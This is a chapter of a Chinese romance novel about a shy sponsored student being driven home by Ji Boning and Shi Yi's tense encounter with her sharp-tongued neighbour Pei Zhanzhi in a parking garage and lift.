她边走边纠结。
快到门口,脚步顿住。
距离她不到十米外。
那个男人身姿倾长靠在门口打电话,他背对着她。
背影清贵又温雅。
林白译心跳漏了一拍,自卑突袭汹涌而来。
如果不是因为施忆学姐,她可能这辈子都不会有机会,和这种阶层的人接触吧……
林白译硬着头皮,她加快步伐轻手轻脚埋头走过去,妄想趁那个男人还没回头,快速溜进去包厢,求求千万别和他碰面!
结果,季伯宁电话刚好结束,手机收进西装裤袋。
他转过身,视线落在她身上。
“季先生好。”
林白译呐呐开口。
“嗯,进去吧。”
男人没什么反应,他绅士帮她推开,然后扶着花梨木门,让林白译走进去。
那一刻林白译觉得自己真是以小人之心度君子之腹。
季先生明明那么温柔啊。
……
一顿饭在平和中结束,季伯宁陪在施忆身侧走出澜庭。
夜幕深沉,他默默替她挡住夜风。
林白译跟在身后想,季先生对施忆学姐真好,他很爱她。
她看着两人般配的背影,心底悄悄祝福,施忆学姐,一定要永远幸福,一直牵紧彼此的手走下去。
“就送到这儿吧,我开车送小译回去。”
季伯宁眉头微拧,
“你们一个在东边,一个在西边。明天还要上班,你早点回去休息。”
“我吩咐人送白译。嗯?”
施忆答应。
裴湛之出差也该回来了。
她明天要亲自去趟时易科技,和裴湛之还有场硬仗要打……
想到那个脾气阴晴不定的男人,施忆眸底微暗,叹了口气,他总有让自己好心情,消失殆尽的本事。
施忆最后确定林白译没问题后,她驱车离开。
林白译在夜冷风中哆嗦。
等了许久,终于前方驶来辆黑色长身宾利,暖黄车头灯驱散黑暗,缓缓在她身边停稳。
车窗缓缓降下来,
林白译看见那张谦和温润的侧脸,是季伯宁。
她呼吸微滞,眼睛微微睁大,心跳在耳边震鸣,怎么是他亲自送!
-
江南里小区。
十点半,夜深人静。
施忆将开车进小区地下车库,她找好一个空位,小心翼翼盯着后视镜慢慢将车倒进去。
就差一点,她提心吊胆握紧方向盘……
突然有一辆黑色路虎揽胜慢悠悠驶进来,两个车灯头打闪,车主人隐约在黑色车窗里,只可以看见他优越的身形轮廓。
他摁了声喇叭。
一声、两声,打破夜晚的静谧。
地下车库就两人,墙上灯光线昏黄,小小照亮角落。
施忆着急,她探出头对后面车辆主人温声说了声抱歉。
她是新手司机,倒车入库还不是特别熟练。
从小她做任何事都游刃有余,学新东西也非常快,但对车真的没辙。
完全是个车痴。
高中她学自行车,学快一个月还没学会,得有人在后面控着方向,后面人一松,她就得摔,白皙膝盖青紫,触目惊心。
后来教她学的那人心疼得要命,死活不让她学了。
施忆忽然有点走神。
睫羽颤了颤。
她想起他做什么……
后面又两声喇叭响起,施忆思绪回笼。
她没完全倒进去,过道里的剩余空间很窄,根本不足以容纳后面那辆过去。
见施忆磨磨蹭蹭,
结果那人启动车子,直直开过来,压根不管能不能过去,施忆心一惊,方向盘一打,她居然把车倒进去了!
施忆回头,那辆路虎已经开走很远,头回都没回。
估计觉得她很蠢。
她有点尴尬,头埋在方向盘上好久,再抬起头,看着后视镜急得有点红的脸,太丢人了。
该天她得找个时间去驾校,专门练倒车入库。
-
施忆从地下车库上来,她站在公寓一楼,刚要摁电梯向上的摁钮,包包里铃声响起,她翻出手机。
季伯宁打来电话,交代说已经把林白译安全送到家了。
施忆微讶:“你亲自送吗?”
“嗯,你交给我的人,当然亲自送才放心。”
季伯宁轻笑逗她,他似乎对这事儿乐此不疲,施忆也从一开始的不习惯,到如今的坦然接受。
“我也到家了……嗯……早点休息,你也是……晚安。”
施忆温声说完挂断电话,她伸出手就要摁电梯。
一双修长骨节分明的手从她面前掠过,慢条斯理摁下按钮。
施忆看到男人西装袖口处,冷白的腕骨,以及银盘腕表。
然后,那双手收回。
施忆倏然侧眸。
裴湛之?!
离她几米外,男人眉目冷淡,目视前方,他西装微敞,双手随意抄在西装裤袋里。他身侧还立着一个小型黑色行李箱,那行李箱上贴着白色托运标签醒目。
她视线微垂。
她视力很好,清楚看到托运标签上,京北的拼音。
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他是去京北出差了?
裴湛之站在她身后多久了,施忆懊恼,她居然打电话一点都没发现,不知道他把她和季伯宁的谈话听进去多少。
施忆干脆沉默。
裴湛之住她楼上,电梯稳稳在施忆那层楼停下,她迈步走出去,电梯门最后合上那刻,她清晰听到男人声线淡漠带着点讽,
“连单车都学不会,还开汽车。劝你趁早自己把驾照注销了,别开出来害人害己!”
刚才车库里,后面那辆黑色路虎也是他?
施忆想起自己被他吓了一顿,才将车倒了进去。因为对象是他,那抹对车主人的愧意消失得无影无踪,反而生产出点恼意。
他刚才根本就是故意吓她的。
施忆正要转头反驳,电梯门关闭,她气话咽下无处发泄。
算了。
明天还要找他谈合作。
施忆安慰自己,心情恢复淡定,她走到家门口,刷脸开门。
忽然她秀眉微蹙,总觉得哪里不对。
裴湛之怎么还来江南里住。
他不回他的西山大别墅,或澜庭顶层?
既然这样,那她不是每天都可能会遇见他。
想到这,施忆闭眸,脑海里反复回荡黎芝的话,一抹无力感袭来。
良久,她睁开眼,赤脚慢慢走进浴室,放水,脱衣,温水漠过头顶。
-
季伯宁将宾利驱到海边停下,夜晚海风大雨他降下车窗点了根烟,夹在指尖,伸手出窗外掂了掂,烟灰在风中消散。
他又开始抽烟了。
烟雾上升。
“季先生就到这吧,谢谢您送我回来。”
方才他开到女孩居民楼外,楼房很老了,倒像栋危楼,外墙已经轻微开裂,他眼里浮起点痛意,她18岁前就在在这种地方吗,那抹痕迹很快隐入夜幕,消失不见。
季伯宁侧头,副驾驶座的女孩正危襟坐,一副如临大敌的模样。
到底年纪小,藏不住事。
女孩揪紧裙边。
季伯宁淡问,“你从小住这?”
林白译脑子很乱,季先生是想打听她的家境情况吗?
她鸵鸟般把头埋得很深,回答是的。
季伯宁从她身上收回视线陈述事实:“你怕我?
“抬起头来。”
林白译脑袋里根弦忽地断了,她不敢抬头,只是一昧解释,开始慌不择路,什么话都开始往外蹦。
“对不起,季先生,裙子不是我的,我知道自己穿不起它,如果你们觉得我也许不贫困,也可以撤销对我的资助,对不起!”
“今晚浪费您们宝贵的时间了!”
季伯宁摁亮车顶灯,暖光照亮女孩面庞,片刻,他面色沉静:
“该是你的自然不变。”
“至于别的……”
季伯宁深邃眸光沉沉,这瞬间他想起某个人,怀念就像外头看不清无比漫长的夜。
他视线落在女孩腰处那朵盛开的百合花,闭眸再睁开。
“下车吧。”
他越活越回去了。
何必为难一个什么都不知道的小女孩?
女孩走后,车内安静。
他拨去一通电话,那边接起后,他语气寒凉,声音淡进雾里。
“去查查,裴湛之这次去京北的行程。”
他点根烟夹在口中。
这个没见过面的男人不好对付,再想起施忆那天耳垂处的咬痕。
眼神微暗。
“还有那个台风天,施小姐见了谁。”